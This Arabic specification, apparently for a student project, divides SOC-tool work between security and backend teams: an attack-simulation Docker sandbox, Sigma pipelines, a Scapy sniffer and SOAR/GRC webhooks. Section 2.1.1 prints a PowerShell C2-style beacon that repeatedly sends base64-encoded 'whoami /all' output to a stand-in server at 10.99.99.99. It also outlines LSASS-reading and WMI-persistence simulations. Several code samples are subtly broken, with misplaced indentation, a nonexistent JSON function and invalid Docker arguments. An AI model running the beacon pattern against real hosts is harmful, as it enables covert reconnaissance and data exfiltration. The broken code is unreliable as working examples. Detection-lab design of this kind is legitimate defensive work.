

وثيقة المواصفات الهندسية الشاملة وتوزيع المهام البرمجية

دليل التكامل والربط البنيوي بين فريق الأمن السيبراني ومطوري الباك اند لأدوات الـ SOC والشبكات

مستند مرجعي تفصيلي موجه لتنظيم العمل التقني الداخلي، يشرح بالرموز والأكواد والمسؤوليات ماذا سيكتب فريق الأمن وبأي لغات، وكيف يقوم مطورو الباك اند بدمج تلك المحركات والسكريبتات أوتوماتيكياً لإنشاء منظومة متكاملة.

طبيعة الوثيقة: دليل توزيع المهام المشترك والربط الهندسي (Cross-Team Blueprint)
الأدوات المستهدفة: أداة هندسة الكشف والـ Sandbox + أداة الاستكشاف والتحليل الشبكي الكلي
تاريخ الإصدار: مايو 2026
الحالة: متاح للتنفيذ الفوري من قبل الفريقين

1. الفلسفة البنيوية وهيكـل التعاون بين الفريقين

في مشاريع التخرج وعمليات بناء الأنظمة السيبرانية المتقدمة، يعتمد النجاح الهندسي على الفصل الصارم بين مسؤولية بناء الهيكل التنظيمي للأنظمة (Infrastructure) ومسؤولية بناء الذكاء والمنطق الأمني التخصصي (Security Domain Logic).

قاعدة الفصل البنيوي المتفق عليها:

***فريق الأمن السيبراني (Security Team):** مسؤول عن كتابة محركات فحص وتفكيك الحزم، سكريبتات محاكاة الهجمات، صياغة منطق كشف سوء التكوين، وتوليد الفلاتر والقواعد الأمنية.

***فريق التطوير الخلفي (Backend Team):** مسؤول عن إدارة الجداول وقواعد البيانات، بناء الـ APIs، أتمتة حاويات الاختبار المعزولة، وإدارة طوابير المهام الخلفية وبث البيانات الحية عبر الـ WebSockets للفرونت اند.

2. منظومة هندسة الكشف والمعمل المعزول (SOC Platform Modules)

تتمحور الأداة الأولى حول بناء القواعد ومحاكاة الهجمات للتأكد من دقتها. يوضح هذا القسم المسؤوليات البرمجية الدقيقة للفريقين وآلية الالتقاء البرمجي بينهما.

2.1 موديول محاكاة الهجمات والمعمل المعزول (Testing Lab & Sandbox)

2.1.1 مهام فريق الأمن السيبراني (Security Deliverables)

يجب على فريق الأمن كتابة وتوفير الملفات النصية التكتيكية (Attack Vectors) التي تحاكي هجمات حقيقية بشكل آمن دون أن تتسبب في شلل الحاوية قبل رصدها. اللغات المعتمدة هي PowerShell و Bash و Python.

المطلوب كتابته بدقة:

1. **سكربت محاكاة التحرك الجانبي والتحكم (APT29_Empire_C2.ps1):** كود PowerShell يقوم بإنشاء اتصال خفي مشفر محاكي لسيرفرات القيادة والسيطرة عبر استدعاء أوامر Base64 مدمجة.
2. **سكربت محاكاة سرقة الصلاحيات (Lazarus_WMI_Ransomware.ps1):** كود يستدعي أدوات الـ (Persistence) تضمن البقاء المستمر داخل الجهاز (Scheduled Tasks) لإنشاء مهام مجدولة WMI.
3. **سكربت محاكاة قراءة الذاكرة (APT28_Mimikatz_LSASS.py):** سكربت بايثون يحاكي فتح وقراءة ملف الـ LSASS في نظام الـ وندوز لجمع البيانات الحساسة بطريقة تترك بصمات واضحة في الـ Event Logs.

نموذج لكود المحاكاة الذي يكتبه فريق الأمن (مثال لملف APT29_Empire_C2.ps1):

```
# كتب بواسطة تيم السيكيورتي لمحاكاة سلوك الاتصال المريب
$Server = "http://10.99.99.99:8080/index.php"
$UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
while ($true) {
    # محاكاة إرسال بيكينج مشفر إلى سيرفر وهمي لتوليد الـ Logs
    $encodedCommand =
    [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("whoami /all"))
    Invoke-WebRequest -Uri "$Server?q=$encodedCommand" -UserAgent $UserAgent -Method Get
    Start-Sleep -Seconds 5
}
```

2.1.2 مهام فريق الباك اند (Backend Deliverables)

مطور الباك اند لا علاقة له بكتابة كود الـ PowerShell الفعلي، بل تكمن مسؤوليته في إعداد البيئة الآمنة لتشغيل هذا الكود المستلم عبر الـ API وأتمتة السيطرة عليه باستخدام **Docker SDK**.

المطلوب كتابته بدقة:

- تطوير موديول الـ Docker Manager الذي يقوم ببناء أو استدعاء حاوية مجهزة مسبقاً (مثال: mcr.microsoft.com/ powershell).
- حقن النص المستلم كملف مؤقت وتمريضه إلى داخل الحاوية عن طريق الـ Volumes.
- فرض شروط صارمة تشمل: عزل الشبكة، تحديد الذاكرة بـ 512MB كحد أقصى، وإنهاء العملية فوراً إذا تخطت 30 ثانية.

نموذج لكود التكامل المكتوب بواسطة الباك اند لتشغيل ملف الأمن آلياً:

```
# كود الباك اند المسؤول عن أتمتة وتشغيل سكريبت الأمن داخل بيئة معزولة تماماً
import docker
import os

def run_security_script_in_sandbox(script_content, language):
    client = docker.from_env()

    # كتابة السكريبت في ملف مؤقت على السيرفر لتمريره للحاوية
    temp_file_path = "/tmp/security_test_script.ps1"
    with open(temp_file_path, "w") as f:
        f.write(script_content)

    try:
        container = client.containers.run(
            image="mcr.microsoft.com/powershell:latest",
            command=f"pwsh -ExecutionPolicy Bypass -File /app/script.ps1",
            volumes={temp_file_path: {'bind': '/app/script.ps1', 'mode': 'ro'}},
            network_disabled=True,          # كبح الاتصال الخارجي تماماً لحماية السيرفر
            mem_limit="512m",              # منع هجمات استهلاك الموارد
            nano_cpus=1000000000,         # تحديد وحدة معالجة مركزية واحدة فقط
            detach=False,
            timeout=30                     # سقف زمني إجباري لقتل العمليات اللانهائية
        )
        return {"status": "success", "output": container.decode('utf-8')}
    except docker.errors.ContainerError as e:
        return {"status": "failed", "output": e.stderr.decode('utf-8')}
    finally:
        if os.path.exists(temp_file_path):
            os.remove(temp_file_path)
```

2.2 موديول فحص وتحويل قواعد الاكتشاف (Sigma Custom Pipelines Engine)

يتكامل العمل هنا لضمان صياغة قواعد خالية من الأخطاء النحوية وتحويلها الفوري لصيغ الـ SIEM المختلفة.

اسم المكون الفني	مسؤولية فريق الأمن السيبراني (Security Team)	مسؤولية مطور الباك اند (Backend Team)
فحص الـ YAML وصحته (Validation Engine)	تحديد الحقول الإجبارية التي يجب توافرها في أي قاعدة كشرط لقبولها (مثل حقل logsource و detection و mitre_techniques).	بناء واجهة برمجية (API Endpoint) تستقبل الملف كـ Text، وتقوم بفك تشفيره كـ YAML، والتحقق من عدم وجود أخطاء في التنسيق وإرجاع رقم السطر الخاطئ للفرونت اند.
محول لغات السيغام (Sigma Transpiler Pipelines)	كتابة ملفات الإعدادات والـ Mapping المخصصة بالبايثون التي تخبر محرك pySigma بكيفية استبدال أسماء الحقول العامة بأسماء الحقول الفعلية الخاصة بالمنشأة.	استدعاء مكتبة pySigma البرمجية في كود الخلفية وتمرير ملف الـ YAML وقواعد الـ Mapping المستلمة من الأمن لإخراج الـ Mapping النهائي (KQL, SPL, Sentinel). Query.

3. منظومة استكشاف وحقق الحزم الشبكية وإدارة الأصول (LumiNet Engine)

تعتبر أداة الشبكات من أدق الأجزاء التي تتطلب مهارات منخفضة المستوى للتعامل مع الحزم وتحليل البائتات العابرة عبر بطاقة الشبكة المحلية في وضعية الـ Sniffing.

3.1 موديول التنصت وتحليل الحزم (Network Sniffing & Protocol Decoder)

3.1.1 مهام فريق الأمن السيبراني (Security Deliverables)

بسبب السرعة الفائقة المطلوبة لمنع سقوط الحزم، يفضل كتابة محرك الالتقاط بلغة **C++** أو بلغة **Python** مع استخدام مكتبة **Scapy** المتقدمة، ويكون دور الأمن هو كتابة الـ Decoder والـ Logic المسؤول عن تفكيك حقول الطبقات المختلفة.

المطلوب كتابته بدقة:

- كود فتح المقابس الخام (Raw Sockets) ووضع كارت الشبكة في وضع الاستماع الكلي (Promiscuous Mode).
- دوال فك وقراءة البيانات الثنائية (Binary Parsing) لاستخراج حقول الـ IP Source، والـ IP Destination، ونوع البروتوكول، والـ TCP Flags.
- حفظ المخرجات في صيغة مهيكلية مثل JSON وطباعتها على الـ Standard Output لكي يقرأها الباك اند.

نموذج لكود تفكيك الحزم الذي يكتبه فريق الأمن بلغة بايثون و Scapy (ملف sniffer_core.py):

```
# كتب بواسطة فريق الأمن لتفكيك وتحليل محتويات الحزم الشبكية بدقة
from scapy.all import sniff, IP, TCP, UDP

def packet_callback(packet):
    if IP in packet:
        packet_data = {
            "src_ip": packet[IP].src,
            "dst_ip": packet[IP].dst,
            "proto": packet[IP].proto,
            "size": len(packet)
        }
    if TCP in packet:
        packet_data["type"] = "TCP"
        packet_data["src_port"] = packet[TCP].sport
        packet_data["dst_port"] = packet[TCP].dport
        packet_data["flags"] = str(packet[TCP].flags)
    elif UDP in packet:
        packet_data["type"] = "UDP"
        packet_data["src_port"] = packet[UDP].sport
        packet_data["dst_port"] = packet[UDP].dport

# طباعة النتيجة كـ JSON مفرد لكي يلتقطه كود الباك اند الأساسي
print(import_json_string(packet_data), flush=True)

# تفعيل السنيفر على كارت الشبكة المحلي بفلتر مخصص
sniff(filter="ip", prn=packet_callback, store=0)
```

3.1.2 مهام فريق الباك اند (Backend Deliverables)

مهمة الباك اند هي تشغيل محرك السنيفر المكتوب كـ Process فرعي ومستمر في الخلفية (Background Subprocess)، واستقبال الداتا الخارجة منه وحفظها في قاعدة البيانات وبثها فوراً للمتصفح عبر **WebSockets**.

المطلوب كتابته بدقة:

- كود الـ Subprocess Interactor الذي يتنصت على الـ Output الخاص بكود الأمن.
- محرك الـ WebSockets (مثل FastAPI WebSockets أو SignalR) لإنشاء قناة بث مستمر للفروننت اند لعرض الحزم الحية أولاً بأول.

نموذج لكود الباك اند المسؤول عن التقاط مخرجات كود الأمن وبثها عبر الـ WebSocket:

```
# كود الباك اند لاستقبال داتا الأمن وتمريضها حية للمتصفح عبر قنوات الـ WebSocket
import subprocess
import json
from fastapi import FastAPI, WebSocket

app = FastAPI()

@app.websocket("/ws/live-traffic")
async def websocket_endpoint(websocket: WebSocket):
    await websocket.accept()

# استدعاء سكربت السنيفر التابع لفريق الأمن كـ Subprocess
process = subprocess.Popen(
    ["python3", "sniffer_core.py"],
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE,
    text=True
)

try:
    while True:
        line = process.stdout.readline()
        if not line:
            break
        # تحويل السطر المستقبل إلى جيسون وإرساله حياً للفروننت اند
        packet_json = json.loads(line.strip())
        await websocket.send_json(packet_json)
except Exception as e:
    print(f"WebSocket Connection closed: {e}")
finally:
    process.terminate() # إغلاق عملية السنيفر بأمان عند خروج المستخدم
```

3.2 موديول كشف سوء التكوين ومراقبة الفيضان الشبكي (Overflow & Misconfiguration Logic)

هنا يظهر بوضوح كيف يتكامل منطق الأمن الرياضي مع العمليات الهيكلية للباك اند.

اسم المكون الفني	مسؤولية فريق الأمن السيبراني (Security Team)	مسؤولية مطور الباك اند (Backend Team)
رصد الفيضان والـ Overflow	كتابة الخوارزمية الرياضية لحساب معدل التدفق الطبيعي (Baseline Traffic Moving Average) والتبليغ الفوري في حالة تخطي القيمة لـ $Average + 3*SD$.	استقبال التبليغ وتخزين الحدث في جدول المخاطر بقاعدة البيانات وتوليد إشعار فوري (Alert Notification Engine).
كشف سوء التكوين (Misconfigurations)	صياغة القواعد والـ Signatures التي تصنف الخدمات المكتشفة كأخطاء فادحة (مثل رصد بورت 23 مفتوح ومكتوب عليه Telnet أو استخدام SMBv1 غير الآمن).	أخذ نتائج المسح الصادرة عن Nmap، وتمريبها على محرك القواعد المكتوب بواسطة الأمن، وتحديث جدول الأصول (Asset Inventory) بالثغرات المكتشفة تلقائياً (Matrix).

4. بروتوكولات الربط الشامل والتكامل بين الأنظمة الأربعة للمشروع

كما تم إثباته هندسياً، فإن ربط أداة الشبكات (LumiNet) بمنصة الـ SOC والـ SOAR والـ GRC ليس خياراً بل هو عصب المنظومة لتبادل سياق البيانات وتكامل الردود الدفاعية.

4.1 سيناريو التكامل التلقائي عند رصد هجوم (Automated Workflow Scenario)

يوضح المخطط التالي دور كل أداة والروابط البرمجية التي يجب تفعيلها للربط البيئي الشامل:

- أداة الشبكة (LumiNet):** ترصد أن الجهاز ذو الـ MAC Address 00:1A:2B:3C:4D:5E يستهلك ترافيك ضخم ومفاجئ بمعدل 5000 حزمة في الثانية (Network Overflow).
- الباك اند الخاص بـ LumiNet:** يطلق استدعاء Webhook فوري لـ منصة الـ SOAR المربوطة عبر إرسال البيانات الفنية للهجوم ورقم الآي بي للجهاز المهاجم.
- منصة الـ SOAR:** تستقبل الحدث وتقوم بتشغيل الـ Automated Playbook المخصص للتعامل مع الفيضان الشبكي؛ فتقوم بإرسال أمر فوري لـ جدار الحماية (Firewall Module) أو كارت الشبكة في LumiNet لعزل الجهاز شبكياً عن بقية السيرفرات لمنع تسريب البيانات.
- منصة الـ GRC:** تتلقى استدعاء متزامن من الباك اند لإنشاء تذكرة خطر (Risk Incident Ticket) بشكل آلي ومطابقتها بنود الضوابط الأمنية لمعيار ISO 27001 (الخاص بالتعامل مع الحوادث الأمنية) لتحديث مؤشر الامتثال للمؤسسة.
- منصة الـ SOC Platform:** يظهر داخل لوحة التحكم الخاصة بها التنبيه حياً مع سحب كامل لبيانات الجهاز التاريخية من الـ Asset Inventory لـ LumiNet لمساعدة المحلل الأمني في فهم الأصول المخترقة وثغرات سوء التكوين المتواجدة عليها.

4.2 مواصفات روابط الويب هوك للربط المتكامل (Integration Webhooks)

يجب على مطوري الباك اند للأنظمة الأربعة توفير وتأمين الروابط التالية لتسهيل حديث المنصات مع بعضها البعض:

الجهة المرسله	الجهة المستقبلة	الرابط المستهدف (Webhook URL)	محتوى البيانات المتبادلة (Payload Schema)
LumiNet (الشبكة)	SOAR Engine	/api/v1/soar/trigger-playbook	{ "event": "Overflow", "source_ip": "10.0.0.5", "severity": "Critical" }
LumiNet (الشبكة)	GRC Platform	/api/v1/grc/risks/auto-log	{ "asset_mac": "...", "finding": "Telnet Detected", "iso_control": "A.12.6.1" }
SOC (الديتكشن)	LumiNet Inventory	/api/v1/assets/context/{ip}	طلب سحب بيانات الجهاز (المنفذ المفتوح، نظام التشغيل) لإظهاره بجانب الإنذار.

توجيه أمني نهائي للفريقين (Security & Coding Best Practices):

***لفريق الأمن:** يجب عدم استخدام مكتبات خارجية غير قياسية في الأكواد والسكريبتات المرفوعة لتفادي تعطل المفسرات (Interpreters) داخل الحاويات، والتأكد من عمل الـ Flush للـ Output عند الطباعة لضمان وصول الداتا للباك اند فوراً.

***لفريق الباك اند:** تذكر دائماً أن المدخلات القادمة من أدوات الشبكة أو سكريبتات الأمن قابلة للاستغلال لتنفيذ هجمات حقن الأوامر (Command Injection). يجب استخدام الـ Lists لتمرير المعاملات في الـ Subprocesses وتفادي خيار shell=True نهائياً لحماية المنصة الكلية من الاختراق.